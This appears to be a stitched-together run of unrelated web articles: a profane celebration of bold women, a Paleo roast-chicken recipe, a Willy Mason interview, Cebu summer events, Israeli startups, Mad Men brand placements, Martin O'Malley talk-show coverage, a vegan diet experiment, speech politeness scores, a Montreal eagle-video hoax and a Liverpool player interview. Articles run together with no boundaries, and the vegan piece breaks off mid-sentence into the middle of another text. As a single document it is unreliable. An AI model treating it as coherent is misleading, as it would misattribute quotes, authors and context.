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all those varied bands gave my riffs a place in the songs rather than being a dominating factor in the songs.Warning: F-Bombs ahead!
This is for the women who don’t give a fuck.
The women who are first to get naked, howl at the moon and jump into the sea.
The women who drink too much whisky, stay up too late and have sex like they mean it.
The women who know they aren’t sluts because they enjoy sex, but human beings with a healthy sexual appetite.
The women who will ask you for what they need in bed.
This is for the women who seek relentless joy; the ones who know how to laugh with their whole souls.
The women who speak to strangers because they have no fear in their hearts.
The ones who wear “night make up” in the morning or don’t own mascara.
The women who know their worth, who plant their feet and roar in their brilliance.
The women who aren’t afraid to tell a man to get the fuck out of her heart if he doesn’t honour her heart.
This is for the women who rock combat boots with frilly skirts.
The women who swear like truck drivers.
The women who hold the people who harass or wrong them with fierce accountability.
The women who flip gender norms and false limitations the bird and live to run successful companies giving “the man” a run for his name.
The ones who don’t find their success a compliment just because they have a vagina.
Women like Gloria Steinem who, when she was told, “We want a writer, not a woman. Go home,” kept writing anyway.
This is for the women who drink coffee at midnight and wine in the morning, and dare you to question it.
For the women who open doors for men and are confident enough to have doors opened for them.
Who use “no” to be in service for themselves.
Who don’t give a damn about pleasing the world, and do sweetly as they wish.
For the superheroes—the single moms who work three jobs to make it. I salute your resilient, cape-flapping, ambitious selves.
This is for the women who throw down what they love, and don’t waste time following society’s pressures to exist behind a white picket fence.
The women who create wildly, unbalanced, ferociously and in a blur at times.
The women who know how to be busy and know how to plant their feet in the earth and get grounded.
These are the women I want around me.
Relephant:
Here’s something worth giving a f**k about with a beautiful couple:
~
This is my kind of woman:
Love elephant and want to go steady?
Editor: Emily Bartran
Photo: Author’s OwnPosted On: February 16, 2014
Author, blogger, fitness specialist and podcaster, there isn’t much that Tony Federico doesn’t do! He was kind enough to share one of his most popular recipes with us this week. Make sure to check out his site for more Paleo-friendly eats! You can out more about Tony below.
“You could probably get through life without knowing how to roast a chicken, but the question is, would you want to?”
-Nigella Lawson, “How to Eat”
In terms of difficulty, roasting a chicken is closer to pouring a bowl of cereal than it is to souffle, but the idea is nonetheless intimidating for many. Perhaps it is the task of dealing with a whole animal, a little creature with disparate bits that have to be coaxed into a cohesive whole. Well intrepid culinary travelers, fear not!
Roasting your first chicken is a cook’s right of passage, and one that will reward you richly. In addition to being delicious, whole chickens are cheaper to buy than chicken parts (oddly enough) and the resultant skeleton can be boiled into stock for soups, stews, sauces, and other dishes. In other words whole chickens are a tasty gift that keeps on giving.
What You Will Need
1 whole chicken, 3-5lbs (giblets removed)
Dried herbs and spices (garlic powder, dried onion flakes, turmeric, pepper, etc.)
1/2 cup sea salt plus (~2 tbsp more for seasoning rub)
Fresh herbs (rosemary, thyme, etc)
1 lemon halved
3-5 cloves garlic, peeled and lightly smashed up a bit
1 medium white onion cut into quarters
2 medium carrots, chopped into 1” chunks
Coconut oil or lard (for rubbing onto the chicken’s skin before roasting)
To ease the process, I’ve simplified the process into five steps to ensure your success in this endeavor, so let’s begin with the brine…
Step 1: Begin with a Brine
Brining beforehand seasons the bird and draws moisture out of the meat making it more flavorful. Prepare a simple brine by dissolving 1/2 cup of sea salt in 2 quarts of water. Put your chicken in a large bowl and cover it with the brine. Place the bowl in your refrigerator and do something else for an hour. (You could leave the chicken in the brine longer, but don’t let it go more than 5 hours or so.) Remove the chicken from the brine and rinse with cold water. Pat the chicken dry with paper towels. You can return the chicken to the fridge to dry some more (which will help the skin brown later on) or you can move on to step two.
Step 2: Rub it Down
Chicken, being a fairly neutral meat, meshes well with a variety of flavors. A solid spice rub is a great way to add these flavors without too much hassle and herbs and spices have the added benefit of increasing the nutrient density of your dish. Feel free to experiment with this step on your own using the basic template of equal parts sea salt, dried aromatics (ex. garlic, lemon, or onion), and spices (ex. thyme, oregano, parsley, paprika, etc.) Apply the rub to all parts of the chicken, inside the cavity, over the skin, and even under the skin. Leave no surface unrubbed!
For my chicken, I prepared a combination of Himalayan pink salt, dried onion flakes, dried garlic, ground turmeric, and a pinch of cayenne pepper. After applying the spice rub, I also rubbed the chicken with coconut oil and a bit of coconut sugar.
Step 3: Apply Aromatics
Aromatic herbs and vegetables infuse your roasted chicken with even more flavor and I’ve never heard of anyone disappointingly saying, “This tastes TOO good!” This step is really no more complicated than shoving halved lemons, fresh herbs (ex. rosemary, time, sage, parsley), and aromatic onions and garlic into the chicken. You can also scatter some aromatics across the bottom of the roasting pan to keep the chicken from sitting in it’s own juices. This helps with airflow and that means crispier skin and better browning.
Note: I stuffed my chicken with rosemary, lemon, garlic, and white onion. I also put down more of the above, in addition to carrots, for the roasting pan.
Step 4: Tie it Up
Tieing up, or “trussing” your bird will keep its wings and legs nicely tucked, which isn’t done for modesty’s sake. Keeping all the appendages bound tightly to the chicken’s body helps the bird cook more evenly and prevents any errant limbs from getting dried out. A simple loop of cooking twine around the ends of the legs and another around the breast, which will bind the wings, will do. More elaborate methods exist, but as long as the job is done the method is irrelevant.
Note: I ran out of cooking twine so I had to improvise with some leftover twine that I used in a backyard project. This just goes to show you that cooking doesn’t have to be perfect in order to be good!
Step 5: Trust the Numbers
We have brined, rubbed, seasoned, and bound the bird, now we come to step five, where it all comes together. I implore you to “trust the numbers” when it comes to cooking your chicken because there is nothing worse than parchingly dry meat. You certainly don’t want to undercook, but, assuming you have properly sourced your animal, the risk of illness from undercooked meat is low.
For optimal doneness, chicken should be cooked in a 350 degree oven until the internal temperature of the meat is 165 degrees. At this temperature, any potential pathogen will be well killed and your chicken will still be tender and juicy. To achieve this magical number, I encourage you to use a probe thermometer (I personally use the Chef Alarm from Thermoworks) which allows you to insert the thermometer directly into the meat. I recommend probing at the thickest point of the chicken thigh, close, but not touching the bone. Keep in mind that the internal temperature of anything that you are cooking will continue to rise after you pull it from the oven, so pulling the chicken out a wee bit early is actually a good idea.
In lieu of a thermometer, you can estimate cooking time by multiplying the weight of the chicken in pounds by 20 minutes and adding 15. For example, a three pound bird in a 350 degree oven should take ~1 hour and 15 minutes. You can also visually test for doneness by piercing the meat and checking to see if the juices run clear.
Conclusion
There you have it! Five simple steps to one great meal. Carve the chicken up however you like (I “deconstructed” the bird, separating out the breast meat, wings, and thighs) but you can leave it whole if you prefer, hacking away piece by delicious piece as you swiftly consume your penultimate poultry creation.
—
Tony Federico BS, ACSM HFS is a certified health and fitness specialist with the American College of Sports Medicine. In addition to working with clients one on one, he writes for Paleo Magazine and hosts the Paleo Magazine Podcast. Tony authored the upcoming book “Paleo Grilling – A Modern Caveman’s Guide to Cooking with Fire” and blogs about food on his website LiveCaveman.com. Connect with Tony on Twitter @TonyFedFitness, on Instagram @TonyFed1, or on Facebook.Back with new album Carry On, singer-songwriter Willy Mason is currently touring the UK – following a five-year hiatus where he worked as a fisherman, builder, talk radio DJ and teacher.
And having tried a variety of day-jobs, the American musician claims that a classroom full of kids is infinitely more scary than a venue full of punters.
Speaking ahead of his live shows this week, Mason said:
“I got worse stage fright than I ever did playing music. It’s scary. It’s a lot of responsibility being called a teacher. “When I got to 24, I decided that I would have a lot better things to write about if I went off the road for a little while. I wanted to stay in touch with day-to-day life as my peers were living it.”
Mason also indicated that it might not be the last time he disappears.
“Hopefully it won’t be called a hiatus next time. I’ve learned in my old age how to shift gears without destroying the transmission.”
For the moment he’s sticking with music, and on the new album he worked with Hot Chip and M.I.A producer Dan Carey.
“Working with him bought a lot of new influences from me, that hadn’t had the chance to present themselves before really.
His moonshine-soaked sound and emotive lyrics mean that he is often compared to Bob Dylan.
“Every time someone comes along with thought out lyrics and stories, they get really excited and call it the new Bob Dylan. I wish I had more to offer them. I wish there was more of it going on.”
His tour calls in at seven UK venues over the coming week or so, and Mason is hoping for big things.
“There’s a lot more possibilities with the sound. I feel like I’m taking on a bit of a challenge for the sake of shows, but if I pull it off I think it’ll be something special.”
See Willy Mason at the following dates:
Mar 8: The Wardrobe, Leeds
Mar 9: Old Town Hall, Gateshead
Mar 10: Oran Mor, Glasgow
Mar 12: The Kazimier, Liverpool
Mar 13: The Rescue Rooms, Nottingham
Mar 15: The Limelight, Belfast
Get tickets
Willy Mason – Pickup Truck on MUZU.TV.
Are you looking forward to seeing Willy Mason on tour? And what do you think of his five-year hiatus? Share your thoughts in the comments below, on Twitter with #wow247 or over at FacebookSummer. Hair gets lighter. Drinks get colder. Sun gets hotter. Days get longer. Life gets better.
It’s that time of year yet again. Your social media feeds are flooded with bikini posts and beach getaways. What are you up to this summer?
If you’re in Cebu or planning to come for a visit, you won’t run out of things to do. There are many ways to enjoy summer in Cebu. On top of that, the island is host to some of the coolest summer events this year. So if you’re done searching for the best hotels in Cebu, take note of these awesome events that you should look out for.
CEBU SUMMER REGGAE FEST
When: April 15, 2016
Where: SM Seaside City Cebu
This reggae music festival is said to be the biggest gathering of reggae bands this summer. Since Cebu is considered as the “Reggae Capital of the Philippines,” it’s only right for the island to host the event. The festival will feature two international acts, premier reggae bands Big Mountain and Inner Circle, as well as Cebu’s top bands Junior Kilat, Powerspoonz, Bambu Spliff, Smooth Friction and a lot more! This event is truly something Cebuano music lovers should not miss.
WATSONS COLOR MANILA CHALLENGE
When: April 17, 2016
Where: SRP Cebu City
A highly anticipated event, Color Manila is finally coming to Cebu’s shores. This Cebu leg is the biggest color obstacle race to ever hit this side of the country. So if you’re into running and pouring colored powder on yourself and your fellow runners, this is the event for you.
YOSHINOYA COSPLAY COMPETITION
When: April 23, 2016
Where: SM Seaside City Cebu
Summer in Cebu isn’t just for music festival lovers and avid runners, it’s also for cosplay enthusiasts. If cosplay is your thing, this is your chance to dress up as your favorite character. The Yoshinoya cosplay event has individual and group competitions that are open to all. Characters can be from popular games, series, movies, comics or any published visual work. So ready that costume and gear up!
SONIC SUMMER 2016
When: April 30, 2016
Where: Capitol Hills Scout Camp, Lahug, Cebu City
Sonic Summer is yet another brainchild of music events outfit Sonic Boom. It’s an outdoor camping music event that offers a whole new music experience to local bands and music supporters alike. The event is an 8-hour long gig that will feature 15 home-grown artists. Now imagine camping out with fellow music lovers and your favorite local bands. Absolutely an unforgettable summer experience.
SUMMER MADNESS 2016
When: May 14, 2016
Where: Alcoy, Cebu
Music festivals are becoming more and more popular in the country and Cebu is not one to be left out. One event to look forward to is the Summer Madness, a 15-hour music festival intended to boost local tourism in the town of Alcoy. With a huge event area and hundreds of foreign and local beach lovers expected to come, this festival is considered one of the biggest events to ever take place in southern Cebu.
IPANEMA SUMMER SUNSCREAM 2016
When: May 21, 2016
Where: Green Lagoon Park, Compostela, Cebu
Perhaps Cebu’s longest running summer music festival, Summer Sunscream is one of the most awaited beach events in Cebu this time of year. It’s a grand gathering of beach goers and music lovers. This year, it’s back again and it’s massive. For its 2016 installment, Sunscream features two international acts, the country’s top DJs, the finest local bands and some sporting events. Beach plus music, what more could you ask for?
There really is no shortage of events in Cebu that will give you the ultimate summer experience. If you know where to go, you are bound to make many fun memories and meet loads of new friends. Ask around or be on social media. No doubt, posters and updates are floating around at this time.Anyone that knows anything about startups and entrepreneurship knows that Israel is the “Startup Nation”. It’s population is just around 8 million, yet it has more companies listed on the Nasdaq than any other country – excluding the United States and China. With that being said, the origin of Israel’s claim to fame originates from a book with the same title, and hinges on the innovation that takes place in Tel Aviv and the surrounding areas on a daily basis. Every day a new startup is created and the ideas coming out of the small country are always testing limits and seeking to become leaders in their field.
After Wix, Waze, ReWalk, and several other huge companies have risen from the “Startup Nation”, it is time to look at just 10 Israeli startups that have the potential to become more than just a startup.
The company is revolutionizing the way we interact with our medical procedures – once we leave the doctor’s office. Now, they are not new players, after being founded in 2011, and raising 1 million dollars in funding last year. 2015 however, is the year they become one of the top apps that should help them begin to turn a key and bring in funds into the company account. They were named one of Forbes “10 Health Companies Changing the World“. The platform is designed to support many applications, such as describing the proper use of their medication, surgical procedure, discharge instructions and more, and the fully branded videos are personalized based on your inputted details and sent via text, email, or embedded in patient portals/apps.
Why 2015? The product is valuable – and with the growing rise and interest in health, knowing what to do at home is just as crucial as ever.
Because “not all retirement accounts are created equal”. IRAs, 401(k)s and brokerage accounts contain fees that can end up consuming a third of your retirement savings. FeeX discovers out how much you’re losing to fees, and then breaks down all the fees in dollars and cents, to show you how much you could save if you invest in the lower-fee funds that Feex suggest. The average user can save an extra $18,794 for their retirement with FeeX.
Why 2015? Financial crisis anyone? If there is something that we need (99% of us) it’s to save where we can. Feex is that fix.
By using big-data system that gathers data from thousands of sensors worldwide, the smartphone and tablet apps are able to provide users with a real time, location based map of air pollution levels – at the street level – meaning you can use it to your own benefit and not for the benefit of an aircraft.
With air pollution becoming more and more dangerous, and one of the leading cause of early deaths, being able to plan your way on vacation or on business based on where it is healthier to be can take us all one step further towards a healthier life – without changing anything dramatic in our lives.
Why 2015? They’re launching in the US soon, and with our air getting dirtier by the day, a map to guide us on where to run or vacation is just what the doctor ordered.
The app claims to solve one of the biggest, yet simplest issues that businesses face today: creating a loyalty system for customers so that gaining a new customer does not have to repeat itself. For businesses it means that by using their web-based dashboard control a loyalty program by customizing status privileges, punch-card rewards, Facebook referral rewards, and if you are a really creative business owner then a happy hour reward or a holiday reward geared towards getting people to come in during your slow hours.
Why 2015? Black Friday success and sales don’t have to be once a year. Black Friday shows us all that we are a consumer society – all that is missing is a system that meets the needs of consumers.
Imagine being able to attack and defend your digital content and databases from hackers live. SentinelOne’s technology adapts at the time of an attack, just like your body does to a harmful bacteria. Now, instead of Target or Home Depot having to work long hours to try and stop/compete with their hackers, with SentinelOne the use of real-time forensics, allows IT departments to track and investigate attacks as they are attempted.
Why 2015? We are all tired of our favorite businesses being hacked. It is going to be 2015 and time for a better solution.
If productivity is a weakness of yours, or you are just spending way too much time on social media, then this startup has a simple and effective solution for you. Slim.io sorts through your social networks and discovers engagements, job promotions, childbirths and more of what really matters to you. The result is an app that presents personalized alerts for what really matters, a customized feed – so you don’t waste time with spam and trash on social media sites, and shares with you only the most important news feed items. Of course, it would not be complete without an all-in-one posting feature to cut down on your social media time.
Why 2015? Are we going to spend forever on Facebook? With the rise of life-hacking and needing more time for everything, this has potential to be any professionals best pal.
If you are a small business owner, there is really no reason not to start using FundBox and start cutting your greedy bank out of the equation. FundBox offers business owners a simple way to fix their cash flow by advancing payments for their outstanding invoices. Is this a loan? Well, not exactly. You see, what it does is advance the payment for your outstanding invoice, and then you pay back the amount and a small clearing fee over 12 weeks. The great part is that if at any point you decide you want to pay early, they’ll waive the clearing fee of the remaining period.
Why 2015? Small business are what drive the economy. FundBox is giving the serious ones a tool to compete and stay ahead of some of their bigger neighbors.
The startup for every “event professional”. Via their digital services, they are able to cut out the headaches that come along with setting up an event, which in some cases results in either not having the event, or doing it at a totally different price because of the head ache.
So far so good for the young company, founded back in 2013, as it is seeing more business for its current vendors – while they work in a more efficient and effortless manner. Via HoneyBook’s simple, intuitive digital reservation system their has been a decrease in “checkout friction” while helping clients re-engage with a vendor’s brand, value and personality. Oh, and they just grabbed a few million in funding.
Why 2015? First of all, they just grabbed some much needed cash. Second of all, and more importantly, it is a much needed solution for a field of business that isn’t going anywhere.
This is by no means a company that is new to us or many of millions of people across the globe. They’ve been around for a few years, but like any business, timing is everything. With their technology “Treehouse” all video creators, whether enthusiasts or professionals, can create Interlude videos that put the viewer, which may be your customer into a “partnership” with your brand.
To understand the true strength of Interlude, head on over to their site and watch their promo clip – your brand has to have one.
Why 2015? Social media has taken over because it creates interactions between brands and consumers. Video is growing in popularity. Hence what they’ve got is a perfect peanut butter and jelly match.
Anyone of us that has ever tried to sell our used cars or buy a new used car, understand that the process is not very fun – but it should be. Once you’ve signed up and entered details on the car you are selling they’ll send someone to you to inspect the vehicle, and if everything checks out then you are in Beepi’s hands. They take the photos, post the listing, and guarantee to sell the car within 30 days – or they’ll buy it from you.
Are you buying a used car? Although you can’t test drive the vehicle, the inspector does, you pay less and still get a 10-day money back guarantee and a full-service warranty, all while saving time and energy so that buying a new car, isn’t a head ache – rather Christmas come early.
Why 2015? If not now, then never. The rise of ridesharing and carsharing has not stopped all of us from buying cars, however if Uber, Lyft, and co., continue to grow the Beepi may find themselves as the odd man out.
Are they the best? No one knows yet, but they all have a concept that makes them capable of becoming winners. The only question that remains is if the teams behind each of the aforementioned ideas has the killer instinct to turn an idea into a business. Did we miss your favorite one?
Image credit to Ksenia-Smirnova@FlickrBrands of Mad Men: Cigarettes and cancer
FORTUNE -- Hopefully viewers of Mad Men have calmed down from the rollercoaster of Sunday's season finale by now. While the big questions will keep us in suspense for season five, Fortune has your answers on the brands of the last episodes. (Catch up with our highlights of the first three seasons' brands in Mad Men is back, and so is product placement, and the earlier episodes from this season in Mountain Dew and Mad Men: The stories behind the pitches.)
Episode 10: North American Aviation, Lucky Strike
Season four featured personal disaster, with Draper hitting rock bottom as he struggles with his past and the inability to overcome his past and find stability. In Episode 10, the storm engulfing Don's personal life washes out what should be a great step forward for Sterling Cooper Draper Pryce. The firm lands a $4 million account with North American Aviation to promote its technology in aeronautics and defense. In a moment of triumph for Pete, Draper has to pull the plug to protect his own skin from the Feds.
In a move disastrous for SCDP, the fictional character Lee Garner Jr. also drops the bomb on Roger Sterling that Lucky Strike is moving to join the other American Tobacco brands at another agency.
North American Aviation may have been a giant of the 1960's, but by 1967 it had merged into Rockwell International, which was acquired by Boeing (BA, Fortune 500) in 1996. For its part, Boeing seems to enjoy its connection to its predecessor. The company's brand management office was buzzing about the Mad Men appearance, of which they had no prior knowledge. A brand spokesman says that since NAA seems unlikely to return to the show, they would not reach out to AMC, but would be happy to provide "heritage" materials if asked in the future. In the meantime, Boeing sells NAA merchandise in its stores and online, and hopes to connect to the Mad Men reference on its Facebook page.
As Fortune has noted, Lucky Strike as a Garner family operation was a Mad Men invention that has provided the show with important material throughout its run. In this episode, we hear mention of Lucky Strike's new role as a piece of the American Tobacco Company, the real and one-time owner of "The Lucky Strike Company," which is now a subsidiary that has bounced around in ownership over the years.
Episode 11: Playtex
In season two, Playtex executives are impressed by a Jackie/Marilyn pitch based on the premise that women want to be either Jacqueline Kennedy or Marilyn Monroe. Two seasons later, Peggy's romantic pitch for what seem to be rather unromantic Playtex gloves lacks Don's personal charm -- Peggy even presents with a lipstick stain on her teeth -- but she gets the better result.
Playtex apparel is now one of the brands of Hanesbrands Inc (HBI) (Playtex infant care and feminine hygiene products are a separate company). Hanesbrands said it did not "pay to play" with any sort of brand integration. Though the company does get release requests periodically, it does not proactively look for involvement in television shows, and a spokesman could not think of any current efforts for Hanesbrands product placement. While Hanesbrands noted that Playtex was the first bra brand to run national advertising, it said it did not expect to amp up its involvement, as "brand positioning has changed quite a bit since [the 60's]."
Episode 12: Heinz
Desperately seeking new business, Draper begs Faye Miller, market research consultant and sort-of girlfriend, for introductions. She throws him a bone through a meeting with Heinz's vinegars, sauces, and beans department, which resents receiving second-rate brand attention compared to Heinz (HNZ, Fortune 500) ketchup. The executive shares with Draper his dream of restoring Heinz beans to number-one priority within the company.
Any hot dog eating eight-year-old can tell you that the Heinz beans crusade for recognition within the company has wholly failed. Heinz, does, however, still sell beans. The company said that it was "very pleased" to appear in Mad Men, but Heinz has no partnership or involvement with AMC.
Episode 13: The American Cancer Society; Topaz pantyhose
Draper's page-long open letter in The New York Times bashing tobacco advertising receives ridicule in episode 12, but by the season finale he's persuaded to meet with one group intrigued by his stand: the American Cancer Society. Draper proposes an anti-smoking campaign targeting teenagers. His sneaky pitch, however, demonstrates a subtlety not always found in such campaigns today.
The American Cancer Society was not aware it would appear on Mad Men and did not pay for its involvement. But the organization has been excited to be involved. "To say that we were elated would be an understatement," says Andy Goldsmith, vice president of creative and brand strategy.
After its appearance, the American Cancer Society posted a compilation of period public service announcements through its social networking pages, and has reached out to AMC about supplying archival materials. Goldsmith said they hope to sit down with the show's creative to discuss how a return appearance next season might progress.
Also during the final show, Ken Cosgrove's inside knowledge that Topaz Pantyhose has fired its ad agency earns Peggy a meeting with Topaz executives. Now a veteran pitch-maker, Peggy nails the account, Sterling Cooper Draper Pryce's first since their near collapse.
Topaz appears to be the invention of Mad Men's creative team. Pantyhose did first gain popularity in the 1960s, but for a real-life Topaz name, one must choose from the 1969 Hitchcock film of that name, or an Irish petroleum retail chain.Martin O'Malley made an appearance on The Daily Show with Trevor Noah Monday night.
On Tuesday, O'Malley played guitar while on The View. His song choice: Taylor Swift's "Bad Blood."
Here's the clip on YouTube.
Here's a look at what publications are saying about the former Maryland governor and his outlook as a Democratic presidential candidate:
CNN
Asked by host Trevor Noah what had changed since his endorsement of Clinton in the 2008 presidential election, O'Malley responded that "as our times change, as our challenges change, I believe that new leadership is required," and he argued that "I represent our better days."
Martin O'Malley played Taylor Swift's 'Bad Blood' while talking to the women of 'The View' Tuesday morning. Martin O'Malley played Taylor Swift's 'Bad Blood' while talking to the women of 'The View' Tuesday morning. SEE MORE VIDEOS
Talking Points Memo
"I feel like I should have added to your credentials: Governor, Presidential candidate and sexiest candidate, according to Twitter,” Noah said.
"When the average age of the other contenders is over 60, that’s not a hard thing to achieve," O'Malley said.
Salon
Noah went a little “fan boy,” calling O’Malley handsome and saying that during the debate, “O’Malley would look down the lens… and look into my eyes.” Noah told him that if he could vote, “I would vote for you.” O’Malley joked that Noah is probably the only immigrant excited about Donald Trump.
Salon
O’Malley says really lovely things, but it’s hard to feel that he means them; he’s almost too polished, too nice, too platonic-ideal-of-a-candidate. Almost everything he said to Noah was carefully on point—which both advanced the image he wanted to present of himself, but also advanced the general impression of his demeanor as rehearsed and couched in spin. Most of Noah’s questions gave him an opportunity to fall back onto certain studied phrases, and though both O’Malley and the audience were very pleased to finally get the ideas out, all told, it’s just a really reasonable platform without any fireworks or tenuous connections to reality.
—What I Discovered When I Went Vegan for 30 Days
Author’s note: As some readers have rightfully pointed out, “going vegan” is not just a matter of diet. This post, and the experiment it describes, pertains only to animal use as it relates to food.
This is the second experiment in two months that has made a dramatic difference in how I live and how I feel on a day-to-day basis. Last time I stripped my life of unnecessary and unused possessions, and this time I stripped it of animal foods.
I ate 100% vegan for 30 days, primarily to see what effects it had on my health and my self-discipline when it comes to eating. I found I took to it very easily, and my body felt like it had been waiting for me to make this change for a long time.
What I discovered
It wasn’t hard.
I listed my seven main reasons for never considering veganism before, and the main one is that I thought it would be too hard. I’m not sure what I thought would be hard about it: craving foods I couldn’t eat, finding something interesting to eat, having to read labels… none of it presented any real difficulty. Once I found how well my body fared without cheese and meat it really didn’t appeal anymore.
The hard part was finding stuff to eat in social situations. Most restaurants will offer the token veggie meal and not put much thought into it. Usually is just one of their other dishes, with tofu or veggies replacing the meat. It wouldn’t take much effort to add one inspired vegan dish to a menu. Not enough of a market for it yet I guess.
There is a great support network of restaurant reviews and forums set up to make this part of it easier for fellow vegans. That was a particularly cool part of this experiment — discovering that there’s a super-helpful vegan subculture out there making life easier for others.
I ended up expanding the palette of foods I ate, rather than restricting it.
The thought of removing several broad categories of foods from the picture made me expect to feel restricted to a few familiar dishes, and I’d already been feeling a bit of a lack of variety.
The opposite happened. I ended up experimenting with new recipes a lot more and eating foods I wouldn’t have tried otherwise. I learned quite a few new recipes and my culinary life is more vivid and interesting than ever. Food is more exciting to me now, and I honestly expected it would have to become a less gratifying part of my life.
I did spend more time cooking, trying a few new recipes a week. I love cooking so I didn’t worry too much about trimming my cooking time but I definitely could streamline it pretty easily if I had to.
I felt awesome physically, and right away.
Within a few days, I began to feel unusually light and alert. Everything seemed to require less effort and I had very little mental resistance to the prospect of doing things. Simple tasks like getting out of a chair or clearing up my dishes seemed to lose some vague character of annoyingness I didn’t realize they used to have.
Psyching myself up to exercise was much easier. There was no heaviness after I ate, no recovery period. My morning grogginess went away much quicker. There was no 3 o’clock wall. I didn’t get tired until bedtime.
I guess I had always been living with a persistent, mild tiredness, and it really seems like meat and dairy were keeping it in place. I can’t think of anything else in my life that changed that could account for it.
Reactions from others vary.
I didn’t go around announcing my new diet, but food is such a prominent part of human life that it does come up. Reactions were mixed. Most wanted to know why, some asking as if they’re just curious, and others asking as if I’ve violated them in some way.
In light of my immediate physical benefits, my new diet felt pretty damn sensible once I started, so it kept surprising me that the majority of the world still regards veganism as some vaguely menacing fringe thing akin to Scientology or Communism.
Many people seemed to assume I was secretly dying of cravings for steak and cheeseburgers, and that it takes some sort of enormous ethical strength to eat vegan. I wasn’t, and it doesn’t.
When asked “Why?” my go-to answer was that it makes me feel physically good, which is true and is probably the main reason. I didn’t want to get involved in an ethical debate, because once a conversation becomes a debate, communication ceases. But the ethical issue does enter the picture for me, which I’ll get to a little further down.
Overall, food didn’t cost any more, but spending more on food is a good thing anyway.
I thought I’d have to double my food budget, buying tons of perishables, specialty foods and vegan substitutes, but it didn’t end up that way. I did spend more on groceries, but not by as big a margin as I thought. Many vegan staples can be had in bulk for dirt cheap: lentils, rice, beans, tofu, couscous etc; there is also no meat in the budget, which is the most expensive part of most people’s grocery list.
But what extra I did spend on groceries, I saved on casual, off-the-cuff meals out. There were no greasy diner breakfasts at work, no grocery-store deli sandwiches and no fast food. I was never a fast food junkie but I did lean on the enormous convenience |
careful of a bubble because what you've seen in the past might be small potatoes compared to what happens. So be very, very careful.' Score: 66 per cent - polite 'When did we beat Japan at anything? They send their cars over by the millions, and what do we do? When was the last time you saw a Chevrolet in Tokyo? It doesn't exist, folks. They beat us all the time. When do we beat Mexico at the border? They're laughing at us, at our stupidity. And now they are beating us economically. They are not our friend, believe me. But they're killing us economically. The U.S. has become a dumping ground for everybody else's problems.' Score: 62 per cent - polite 'They're building up their military to a point that is very scary. You have a problem with ISIS. You have a bigger problem with China.' Score: 24 per cent - impolite
Parts of his speech referring to the US national debt and competition with Japan and Mexico came out as generally polite, with scores of 66 and 62 per cent.
But his comments about the military in China were considered impolite, with a score of 24 per cent.
A quote from Hilary Clinton's latest speech in New York on Wednesday was given a polite score of 75 per cent. 'This is a city that likes to get things done. And that's what we want from our president too.'
Bernie Sanders was very polite after the Iowa caucus. The first part of his speech before the results were in, scored 74 per cent and an overall rating of 'polite'.
There is a Google Chrome extension that self-conscious message writers can download for a free trial.Montreal residents assured there is no danger of their children being snatched by large predatory bird
A French Canadian computer graphics school has reassured the people of Montreal that there is no danger of their children being snatched by a large predatory bird after revealing that an internet video apparently showing a golden eagle attempting to pick up a child was a hoax produced by its students.
The National Animation and Design Centre said on its website that three of its students had created the video during a class they were taking as part of their degree in 3D animation and digital design.
According to the centre, the students worked their magic on real video footage, producing what looked like a film showing a large bird attempting to carry off a child under the eyes of its father. "Both the eagle and the kid were created in 3D animation and integrated into the film afterwards," says the school's website.
The video, which has attracted almost 3m views on YouTube and generated a huge amount of discussion on social media, shows the bird apparently picking up a child and then dropping it down again a few metres away, before flying off over the treetops.
The school describes the students' work as "pushing the boundaries of realism".
Before the hoax was revealed, experts had called into question the veracity of the video, raising doubts about the computer animation techniques and the behaviour and appearance of the golden eagle.
Alex Hern pointed out on the New Statesman website that when the bird swoops down "its shadow pops in one frame after it does. And for one frame, and one frame only, around three seconds in, its right wing becomes transparent".
The Guardian's science blogger, Grrlscientist wrote: "I'll talk about the most obvious error: this is NOT a golden eagle, Aquila chrysaetos. To start with, the wings of the raptor in the video are absolutely the wrong shape – being too narrow and with a sharp "wrist" – neither of which you will see in a golden eagle. The video raptor's colouring is wrong – being a steely grey instead of a warm brown colouring"
The National Animation and Design Centre said its students had previously launched hoax videos, notably one apparently showing a penguin making a bid for freedom from the Montreal Biodôme.Get the biggest daily stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email
Liverpool defender Nathaniel Clyne knows the Reds owe boss Jurgen Klopp 'a big performance' when they host Spurs on Saturday.
In a candid interview with the Liverpool Echo, Clyne has opened up on the club's slump in form and says issues have been addressed on the training field following last week's defeat at Hull.
“We know that we owe the manager and the fans a big performance,” Clyne said.
“It wasn’t good enough against Hull and there has to be a response. The fans will be up for it and we need to give them a boost.
“We haven’t won at home for a while and we have got to put that right. It won’t be easy because Tottenham are a very good side. But we've got the ability to beat them.
“We’ve proved we can beat anyone in this league this season and we need to get back on track.”
(Image: Stu Forster)
Jurgen Klopp was raging after the Reds’ error-strewn display at the KCOM Stadium but the England international insists the players didn’t need telling that they had let themselves down.
“I wouldn’t say it was the angriest I’ve seen him but he was certainly passionate,” Clyne said.
“Like all of us, he was hurting from us losing the game.
“He wants to win, we all want to win, and that wasn’t good enough. That’s the kind of game we should be winning.”
It was the latest in a growing line of damaging setbacks since the turn of the year. Liverpool have won just once in 10 matches and taken just three points out of a possible 15 in the league.
As a result they have tumbled out of both cups and slipped to fifth place in the Premier League. The big question is why?
“It’s difficult to put your finger on it,” he said.
(Image: John Powell)
“It’s been up and down for us. In the first half of the season we were flying. We were creating a lot of chances and scoring a lot of goals. Come the start of this year we hit a bad patch.
“I don’t think we can use fatigue as an excuse. Other clubs have played the same number of games as us. We just haven’t been performing at the same level as we did earlier in the season.
“In a lot of games teams have sat deep and made it very difficult for us to break them down. They play counter-attack football - trying to restrict our strengths and target any weaknesses.
“But teams also sat back against us earlier in the season. The difference then was that we were firing on all cylinders and the goals were being shared around.
“Confidence is bound to be a factor when you’re losing games but we all still believe in each other and we believe in the manager.”
The defeat to Hull arrived just four days after Liverpool had forced a gutsy 1-1 draw with leaders Chelsea. Klopp’s men are unbeaten in their matches against clubs in the top six this term but have lost to Burnley, Bournemouth, Swansea and Hull.
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One criticism that’s been levelled at the Reds is that there’s an attitude problem when they come up against the Premier League’s lesser lights.
“I think what that record shows is that you have to be at 100% in every single game,” Clyne said.
“If your levels drop in the Premier League you run the risk of getting turned over. Every game is tough. You have to stay focused and keep a winning mentality.
“Against the big teams we’ve been right up for it but you have to have that same attitude and approach every week. Hull have to be treated like they are Chelsea.
“It’s been a difficult time but the spirit is still good and we’re all working together as a team to get back to where we were.”
Clyne suffered an abdominal muscle injury last month and was forced to sit out matches against Manchester United and Southampton. On other occasions he battled through the pain barrier but he’s now fully recovered.
“I tore a muscle in between my ribs,” he revealed.
